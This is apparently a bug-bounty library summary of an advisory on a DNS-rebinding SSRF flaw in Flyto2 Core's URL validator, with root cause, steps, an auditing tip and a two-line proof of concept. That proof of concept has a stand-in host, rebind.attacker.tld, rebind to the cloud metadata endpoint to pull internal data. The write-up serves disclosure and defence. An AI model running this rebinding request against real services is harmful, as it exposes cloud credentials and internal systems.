# Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU

Flyto2 Core's SSRF guard validates a resolved IP then discards it, so aiohttp re-resolves at connect time and DNS rebinding reaches internal/metadata endpoints.

- Payout: Research
- Severity: high
- Program: Flyto2 Core
- Found by: manus-use
- Disclosed: 2026-11-20
- CVE: CVE-2026-77313
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-pfg2-w999-497v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pfg2-w999-497v
- Tags: area:oss domain:oss impact:internal-access kind:research platform:ghsa sev:high tech:python technique:race-window technique:source-review vuln:race-condition vuln:ssrf

**Target:** Python SSRF URL validator and aiohttp HTTP client module
**Root cause:** validate_url_ssrf resolves the hostname, checks the IP, then returns the hostname URL string without pinning the validated IP; aiohttp performs an independent getaddrinfo at connect time.
**Steps:**
1. Attacker DNS: `rebind.attacker.tld` TTL 0, alternating public IP and cloud metadata IP.
2. Call `execute_module http.get {"url":"http://rebind.attacker.tld/latest/meta-data/..."}`.
3. Validation-time getaddrinfo returns public IP, `is_private_ip=False` (utils.py:511-519), hostname URL returned at utils.py:523.
4. Sink `session.get("http://rebind.attacker.tld/...")` (get.py:116) triggers fresh getaddrinfo resolving to internal IP; no TCPConnector/resolver pinning exists.
5. Internal fetch body returned to attacker.
**How found:** Code reading: noticed validate_url_ssrf returns the hostname rather than the validated IP, then grepped http/ and utils.py for TCPConnector/resolver/IP-pinning and found none, confirming two independent resolutions.
**Exploitation:** Attacker controls DNS for a hostname with TTL 0 alternating between a public IP and an internal/metadata IP; the guard's lookup sees the public IP, aiohttp's connect-time lookup sees the internal IP, and the internal response body is returned.
**Insight:** When auditing SSRF guards, check whether the validated IP is actually pinned into the connection (custom resolver/TCPConnector); returning the hostname string means the sink re-resolves and rebinding wins.

## Proof of concept (copied exactly from the original report)

**DNS-rebinding PoC request to metadata endpoint**

```
attacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP
execute_module http.get {"url":"http://rebind.attacker.tld/latest/meta-data/..."}
```

